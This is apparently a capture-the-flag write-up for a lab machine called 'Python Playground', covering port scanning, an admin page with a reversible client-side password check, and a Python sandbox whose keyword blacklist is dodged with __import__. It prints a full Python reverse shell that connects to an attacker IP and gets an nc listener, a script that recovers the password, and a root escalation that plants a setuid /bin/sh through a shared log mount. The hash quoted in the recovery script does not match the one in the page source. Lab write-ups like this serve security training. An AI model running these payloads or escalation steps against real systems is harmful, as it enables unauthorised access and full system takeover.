

Python Playground

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Enumeration

Nmap Scan

22: ssh

80: http

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)

| 256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)

|_ 256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)

80/tcp open http Node.js Express framework

|_http-title: Python Playground!

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 4.X

OS CPE: cpe:/o:linux:linux_kernel:4.15

OS details: Linux 4.15

Network Distance: 3 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 67.14 ms 192.168.128.1

2 ...

3 68.09 ms 10.49.167.146

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 13.90 seconds

SSH (22)

```
└─$ ssh root@playground.thm
```

The authenticity of host 'playground.thm (10.49.167.146)' can't be established.

ED25519 key fingerprint is: SHA256:HLoU1KqmdReseJ5xwjsMAvFvwtdzT3dUWbeGpiz6odl

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added 'playground.thm' (ED25519) to the list of known hosts.


**** WARNING:** connection is not using a post-quantum key exchange algorithm.

**** This session may be vulnerable to "store now, decrypt later" attacks.**


**** The server may need to be upgraded. See <https://openssh.com/pq.html>**
root@playground.thm's password:

- Password authentication is enabled. Reuse of credentials need to be checked

HTTP (80)




It mentions blacklists, and not whitelist. This can be a way inside the server.



Sorry, but due to some recent security issues, only admins can use the site right now. Don't worry, the developers will fix it soon :)

[Back to homepage](#)

Cannot sign up.




Cannot login as well.

Subdirectories enumeration

admin.html	[Status: 200, Size: 3134, Words: 667, Lines: 118, Duration: 71ms]
index.html	[Status: 200, Size: 941, Words: 308, Lines: 30, Duration: 70ms]
index.html	[Status: 200, Size: 941, Words: 308, Lines: 30, Duration: 73ms]
login.html	[Status: 200, Size: 549, Words: 152, Lines: 19, Duration: 68ms]
signup.html	[Status: 200, Size: 549, Words: 152, Lines: 19, Duration: 68ms]

`admin.html` is something of interest.



We have a backdoor site.


```

66 <script>
67 // I suck at server side code, luckily I know how to make things secure without it - Connor
68
69 function string_to_int_array(str){
70   const intArr = [];
71
72   for(let i=0;i<str.length;i++){
73     const charcode = str.charCodeAt(i);
74
75     const partA = Math.floor(charcode / 26);
76     const partB = charcode % 26;
77
78     intArr.push(partA);
79     intArr.push(partB);
80   }
81
82   return intArr;
83 }
84
85 function int_array_to_text(int_array){
86   let txt = '';
87
88   for(let i=0;i<int_array.length;i++){
89     txt += String.fromCharCode(97 + int_array[i]);
90   }
91
92   return txt;
93 }
94
95 document.forms[0].onsubmit = function (e){
96   e.preventDefault();
97
98   if(document.getElementById('username').value !== 'connor'){
99     document.getElementById('fail').style.display = '';
100    return false;
101  }
102
103  const chosenPass = document.getElementById('inputPassword').value;
104
105  const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
106
107  if(hash === 'dxeedxebdwemdesdxdtdweqdxefdxefdxdduegduderdvtdvdu'){
108    window.location = 'super-secret-admin-testing-panel.html';
109  } else {
110    document.getElementById('fail').style.display = '';
111  }
112
113  return false;
114 }
115
116 </script>


```

The source code reveals some interesting information. The hash is hardcoded in the source code. It could be some hashing type but seeing the code, it is not secure at all. Only some conversions.


Also we get to know the username `connor` .



Able to visit the `super-secret-admin-testing-panel.html` page without login.



And I am able to execute commands. Let's try to get a reverse shell using the basic payload. Since the site mentions blacklisting, I am assuming basic payload won't work.



As expected. I will try some encoding.

Some keywords that are in the blacklist: import, eval

Python Playground! - By Connor

```
os = __import__("os").getcwd()
print(os)
```

/root/app

Exit code 0

Go!

I tried using `__import__` instead of `import` and it worked. So I have to covert the whole reverse shell payload accordingly.

Gaining Shell

Python Playground! - By Connor

```
socket = __import__("socket")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.140.152",4444))
os = __import__("os")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

pty = __import__("pty")
pty.spawn("sh")
```

```
(.venv)-(kali@kali)-[~/Desktop/THM/Python Playground]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.140.152] from (UNKNOWN) [10.48.145.89] 48760
#
```

And I am in.

```
function isAllowed(code){
  if(typeof code !== 'string'){
    return false;
  }
  if(code.indexOf('import ') ≥ 0){
    return false;
  }
  if(code.indexOf('eval') ≥ 0){
    return false;
  }
  if(code.indexOf('.system') ≥ 0){
    return false;
  }
  if(code.indexOf('exec') ≥ 0){
    return false;
  }

  return true;
}
```

The source code shows the blacklisted words.

Gaining User credentials

From the admin.html source code:

```
function string_to_int_array(str){
  const intArr = [];

  for(let i=0;i<str.length;i++){
    const charcode = str.charCodeAt(i);

    const partA = Math.floor(charcode / 26);
    const partB = charcode % 26;

    intArr.push(partA);
    intArr.push(partB);
  }

  return intArr;
}

function int_array_to_text(int_array){
  let txt = '';

  for(let i=0;i<int_array.length;i++){
    txt += String.fromCharCode(97 + int_array[i]);
  }

  return txt;
}
```

We can reverse this code to get the password.

```
def text_to_int_array(s: str) → list:
    int_array = list()
```



```

for i in range(len(s)):
    int_array.append(ord(s[i])-97)

return int_array

def int_array_to_str(arr: list) → str:
    s = ""
    for i in range(0, len(arr)-1, 2):
        char_code = arr[i]*26 + arr[i+1]
        s += chr(char_code)
    return s

final_hash = "dxeedxebdwemdwesdxdtweqdxefdxefdxduueqduerdvdtv
du"
password = int_array_to_str(text_to_int_array(int_array_to_str(text_to_int_array(final_hash))))
print(password)

```

```

└─$ python3 rev_hash.py
spaghetti1245

```

connor:spaghetti1245

Reusing this username and password for SSH into Connor.

Privilege Escalation

```

connor@pythonplayground:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)

```

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:36543	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::80	:::*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-
udp	0	0	127.0.0.53:53	0.0.0.0:*	-	-
udp	0	0	10.48.145.89:68	0.0.0.0:*	-	-

Nothing suspicious in the services

```
# ls
ls
index.js  node_modules  package-lock.json  package.json  scripts  static
# cd /mnt
cd /mnt
# ls
ls
log
# ls -la
ls -la
total 12
drwxr-xr-x 1 root root 4096 May 16 2020 .
drwxr-xr-x 1 root root 4096 May 16 2020 ..
drwxrwxr-x 9 root 106 4096 May 11 2020 log
#
```

The /mnt directory in the container has a log subdirectory.

```
# ls -la
ls -la
total 3896
drwxrwxr-x 9 root 106 4096 May 11 2020 .
drwxr-xr-x 1 root root 4096 May 16 2020 ..
-rw-r--r-- 1 root root 27163 May 11 2020 alternatives.log
drwxr-xr-x 2 root root 4096 May 16 2020 apt
-rw-r----- 1 102 adm 38468 Dec 1 09:17 auth.log
-rw-r--r-- 1 root root 56751 Feb 3 2020 bootstrap.log
-rw-rw---- 1 root utmp 1920 May 12 2020 btmp
-rw-r--r-- 1 root root 40901 Dec 1 08:41 cloud-init-output.log
-rw-r--r-- 1 102 adm 896736 Dec 1 08:41 cloud-init.log
drwxr-xr-x 2 root root 4096 Jan 24 2020 dist-upgrade
-rw-r--r-- 1 root root 508605 May 16 2020 dpkg.log
-rw-r--r-- 1 root root 32032 May 11 2020 faillog
drwxr-xr-x 3 root root 4096 May 11 2020 installer
drwxr-sr-x+ 3 root messagebus 4096 May 11 2020 journal
-rw-r----- 1 102 adm 806043 Dec 1 08:41 kern.log
drwxr-xr-x 2 108 112 4096 May 11 2020 landscape
-rw-rw-r-- 1 root utmp 292292 Dec 1 09:08 lastlog
drwxr-xr-x 2 root root 4096 Nov 23 2018 lxd
-rw-r----- 1 102 adm 1459595 Dec 1 09:19 syslog
-rw----- 1 root root 64064 May 11 2020 tallylog
drwxr-x--- 2 root adm 4096 May 11 2020 unattended-upgrades
-rw-rw-r-- 1 root utmp 47616 Dec 1 09:08 wtmp
```

```
connor@pythonplayground:/var/log$ ls -la
total 3896
```

```

drwxrwxr-x  9 root    syslog      4096 May 11 2020 .
drwxr-xr-x 13 root    root         4096 Feb  3 2020 ..
-rw-r--r--  1 root    root        27163 May 11 2020 alternatives.log
drwxr-xr-x  2 root    root         4096 May 16 2020 apt
-rw-r----- 1 syslog  adm        38468 Dec  1 09:17 auth.log
-rw-r--r--  1 root    root        56751 Feb  3 2020 bootstrap.log
-rw-rw----  1 root    utmp         1920 May 12 2020 btmp
-rw-r--r--  1 syslog  adm        896736 Dec  1 08:41 cloud-init.log
-rw-r--r--  1 root    root       40901 Dec  1 08:41 cloud-init-output.log
drwxr-xr-x  2 root    root         4096 Jan 24 2020 dist-upgrade
-rw-r--r--  1 root    root     508605 May 16 2020 dpkg.log
-rw-r--r--  1 root    root      32032 May 11 2020 faillog
drwxr-xr-x  3 root    root         4096 May 11 2020 installer
drwxr-sr-x+  3 root    systemd-journal 4096 May 11 2020 journal
-rw-r----- 1 syslog  adm       806043 Dec  1 08:41 kern.log
drwxr-xr-x  2 landscape landscape    4096 May 11 2020 landscape
-rw-rw-r--  1 root    utmp     292292 Dec  1 09:08 lastlog
drwxr-xr-x  2 root    root         4096 Nov 23 2018 lxd
-rw-r----- 1 syslog  adm     1459595 Dec  1 09:19 syslog
-rw-----  1 root    root      64064 May 11 2020 tallylog
drwxr-x---  2 root    adm         4096 May 11 2020 unattended-upgrad
es
-rw-rw-r--  1 root    utmp         47616 Dec  1 09:08 wtmp

```

The /mnt/log from the container is linked to the /var/log of the main machine. And as we are root in the container, we can place SUID bit set /bin/bash binary in the /mnt/log directory and run it from the Connor's account.

This didn't work because of mismatch of the libtinfo.so.6 library and we are not able to do the reverse as well. So I tried with /bin/sh - which is simpler than /bin/bash.

```

# cp /bin/sh .
cp /bin/sh .
# chmod +s sh
chmod +s sh

```

```

exitsconnor@pythonplayground:/var/log$ ls -la

```

total 4028

...

-rw-rw-r-- 1 root utmp 292292 Dec 1 09:36 lastlog

drwxr-xr-x 2 root root 4096 Nov 23 2018 lxd

-rwsr-sr-x 1 root root 129816 Dec 1 09:37 sh

...

connor@pythonplayground:/var/log\$./sh -p

id

uid=1000(connor) gid=1000(connor) euid=0(root) egid=0(root) groups=0(root),1000(connor)

whoami

root